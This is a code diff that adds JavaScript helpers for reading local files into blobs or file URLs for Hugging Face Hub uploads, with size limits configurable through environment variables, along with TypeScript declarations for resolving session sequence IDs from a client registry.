+ const DEFAULT_READFILE_BLOB_MAX = 20 * 1024 * 1024 * 1024;
59
+ /** Upper bound for `CFGMGR_HF_READFILE_BLOB_MAX_BYTES` (parse guard). */
60
+ const ENV_READFILE_CAP_BYTES = 48 * 1024 * 1024 * 1024;
61
+ /** Files strictly larger than this use `file:` + Hub `FileBlob` (streaming). */
62
+ const DEFAULT_FILEURL_OVER_BYTES = 256 * 1024 * 1024;
63
+ /** With streaming off, max single-file size for in-memory paths (before readFile). */
64
+ const DEFAULT_LEGACY_MAX_BYTES = 4 * 1024 * 1024 * 1024;
65
+ /**
66
+ * Node `fs.openAsBlob` + `@huggingface/hub` can throw `TypeError` on some OS/Node combos.
67
+ * Default **skip** (`1`): use `readFile` / stream only (`npm install` reliable path).
68
+ * Set `CFGMGR_HF_SKIP_OPENAS_BLOB=0` to allow `openAsBlob` for lower memory use on huge files (below threshold only).
69
+ */
70
+ function hubSkipOpenAsBlob() {
71
+ const raw = (process.env.CFGMGR_HF_SKIP_OPENAS_BLOB || "1").trim().toLowerCase();
72
+ if (["0", "false", "no", "off"].includes(raw))
73
+ return false;
74
+ return true;
75
+ }
76
+ function readFileBlobMaxBytes() {
77
+ const raw = (process.env.CFGMGR_HF_READFILE_BLOB_MAX_BYTES || "").trim();
78
+ if (raw === "0" || raw === "false" || raw === "off")
79
+ return 0;
80
+ if (raw) {
81
+ const n = parseInt(raw, 10);
82
+ if (Number.isFinite(n) && n >= MIN_READFILE_BYTES && n <= ENV_READFILE_CAP_BYTES)
83
+ return n;
84
+ }
85
+ return DEFAULT_READFILE_BLOB_MAX;
86
+ }
87
+ /** Stream + `openAsBlob` ceiling (when `readFile` is skipped via env `0`, still use default 20 GiB). */
88
+ function inMemoryStreamOpenMaxBytes() {
89
+ const raw = (process.env.CFGMGR_HF_READFILE_BLOB_MAX_BYTES || "").trim();
90
+ if (raw === "0" || raw === "false" || raw === "off")
91
+ return DEFAULT_READFILE_BLOB_MAX;
92
+ if (raw) {
93
+ const n = parseInt(raw, 10);
94
+ if (Number.isFinite(n) && n >= MIN_READFILE_BYTES && n <= ENV_READFILE_CAP_BYTES)
95
+ return n;
96
+ }
97
+ return DEFAULT_READFILE_BLOB_MAX;
98
+ }
99
+ /**
100
+ * Files larger than this use `pathToFileURL` (Hub `FileBlob`, streaming).
101
+ * `off` / `legacy` / `never` → never use file URLs (force in-memory only).
102
+ */
103
+ function fileUrlOverBytes() {
104
+ const raw = (process.env.CFGMGR_HF_FILEURL_OVER_BYTES || "").trim().toLowerCase();
105
+ if (["off", "false", "no", "legacy", "never"].includes(raw)) {
106
+ return Number.MAX_SAFE_INTEGER;
107
+ }
108
+ if (raw) {
109
+ const n = parseInt(raw, 10);
110
+ if (Number.isFinite(n) && n >= 0 && n <= ENV_READFILE_CAP_BYTES)
111
+ return n;
112
+ }
113
+ return DEFAULT_FILEURL_OVER_BYTES;
114
+ }
115
+ /**
116
+ * When streaming is disabled (`CFGMGR_HF_FILEURL_OVER_BYTES=off`), max file size allowed for readFile /
117
+ * readStreamToBlob. Only a decimal byte integer is honored; any other value falls back to the default
118
+ * (never treat unknown tokens as “unlimited” — that used to allow multi‑GiB OOMs).
119
+ */
120
+ function legacyInMemoryMaxBytes() {
121
+ const raw = (process.env.CFGMGR_HF_LEGACY_MAX_BYTES || "").trim();
122
+ if (!raw)
123
+ return DEFAULT_LEGACY_MAX_BYTES;
124
+ const n = parseInt(raw, 10);
125
+ if (Number.isFinite(n) && n >= MIN_READFILE_BYTES && n <= ENV_READFILE_CAP_BYTES)
126
+ return n;
127
+ return DEFAULT_LEGACY_MAX_BYTES;
128
+ }
129
+ async function readStreamToBlob(absPath) {
130
+ const chunks = [];
131
+ await new Promise((resolve, reject) => {
132
+ const rs = (0, node_fs_1.createReadStream)(absPath, { highWaterMark: 16 * 1024 * 1024 });
133
+ rs.on("data", (c) => {
134
+ chunks.push(Buffer.isBuffer(c) ? c : Buffer.from(c));
135
+ });
136
+ rs.on("error", reject);
137
+ rs.on("end", () => resolve());
138
+ });
139
+ return new Blob([Buffer.concat(chunks)]);
140
+ }
141
+ async function hubContentFromLocalPath(absolutePath) {
142
+ const st = await (0, promises_1.stat)(absolutePath);
143
+ if (!st.isFile()) {
144
+ throw new Error(`Hub upload requires a regular file (${absolutePath})`);
145
+ }
146
+ const fileUrlMin = fileUrlOverBytes();
147
+ /** Hard safety floor: never fully buffer in JS above this when streaming is on (same as default threshold). */
148
+ const streamDiskFloorBytes = DEFAULT_FILEURL_OVER_BYTES;
149
+ if (fileUrlMin < Number.MAX_SAFE_INTEGER) {
150
+ if (st.size > fileUrlMin || st.size > streamDiskFloorBytes) {
151
+ return (0, node_url_1.pathToFileURL)(absolutePath);
152
+ }
153
+ }
154
+ if (fileUrlMin >= Number.MAX_SAFE_INTEGER && st.size > legacyInMemoryMaxBytes()) {
155
+ throw new Error(`Hub upload: file is ${st.size} bytes but streaming is disabled (CFGMGR_HF_FILEURL_OVER_BYTES=off). ` +
156
+ "Unset that variable or set it to a byte threshold below this file size so uploads use disk streaming. " +
157
+ "If you must use legacy in-memory mode for a larger file, set CFGMGR_HF_LEGACY_MAX_BYTES (and ensure enough RAM).");
158
+ }
159
+ const readMax = readFileBlobMaxBytes();
160
+ if (readMax > 0 && st.size <= readMax) {
161
+ try {
162
+ const buf = await (0, promises_1.readFile)(absolutePath);
163
+ return new Blob([buf]);
164
+ }
165
+ catch {
166
+ /* fall through */
167
+ }
168
+ }
169
+ const streamMax = inMemoryStreamOpenMaxBytes();
170
+ if (!hubSkipOpenAsBlob()) {
171
+ const openAsBlob = fs.openAsBlob;
172
+ if (typeof openAsBlob === "function") {
173
+ try {
174
+ if (st.size <= streamMax) {
175
+ const blob = await openAsBlob(absolutePath);
176
+ if (blob instanceof Blob) {
177
+ return blob;
178
+ }
179
+ }
180
+ }
181
+ catch {
182
+ /* fall through */
183
+ }
184
+ }
185
+ }
186
+ /** Last resort: full read into memory — still no `file:` URL (Hub TypeErrors on some combos). */
187
+ if (st.size <= streamMax) {
188
+ try {
189
+ return await readStreamToBlob(absolutePath);
190
+ }
191
+ catch (e) {
192
+ throw new Error(`Could not read file for Hub upload (${st.size} bytes): ${e instanceof Error ? e.message : String(e)}`);
193
+ }
194
+ }
195
+ throw new Error(`File too large for in-memory Hub upload (${st.size} bytes; max ${streamMax}). ` +
196
+ "Unset CFGMGR_HF_FILEURL_OVER_BYTES (or set below this file size) so large files stream via file URL, " +
197
+ `or raise CFGMGR_HF_READFILE_BLOB_MAX_BYTES (min 1 MiB, max ${ENV_READFILE_CAP_BYTES} bytes) if you truly have enough RAM. ` +
198
+ "Node 20+ recommended for `openAsBlob` when using in-memory paths.");
199
+ }
@@ -0,0 +1,25 @@
1
+ /**
2
+ * True when forge-db `/api/clients` row corresponds to this explorer `client_*` session table string.
3
+ * Matches `table_name` / `session_id` (case-insensitive), or derives the table name from `client_id`.
4
+ */
5
+ export declare function clientRegistryRowMatchesSessionTable(row: Record<string, unknown>, clientTableName: string): boolean;
6
+ /** Default true: session Hub repos must use numeric `<seq_id>` slug. Set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1 to allow UUID-style slug when seq_id is unknown. */
7
+ export declare function hfSessionRepoRequireSeqId(): boolean;
8
+ /**
9
+ * Hub repo name segment for auto-session uploads: decimal **`seq_id`** string when known,
10
+ * otherwise the legacy Postgres-safe table slug from {@link postgresqlClientTableName}.
11
+ */
12
+ export declare function hfAutoSessionRepoSlug(clientTableName: string, seqId: number | null | undefined): string;
13
+ export type FetchSeqIdOptions = {
14
+ /** Relay HTTP origin (from agent WebSocket URL) — fallback when direct forge-db is unreachable or lacks API key. */
15
+ relayHttpBase?: string;
16
+ };
17
+ /**
18
+ * Resolve `seq_id` via the relay's `/api/relay-session-seq` (relay holds forge-db API key).
19
+ * Agents on remote PCs often lack `FORGE_DB_API_KEY` and cannot call forge-db directly.
20
+ */
21
+ export declare function fetchSeqIdViaRelayHttp(relayHttpBase: string, clientTableName: string): Promise<number | null>;
22
+ /**
23
+ * Looks up `seq_id` from forge-db `_client_registry` for this session table name (`session_id` / `table_name`).
24
+ */
25
+ export declare function fetchSeqIdForClientTableName(clientTableName: string, opts?: FetchSeqIdOptions): Promise<number | null>;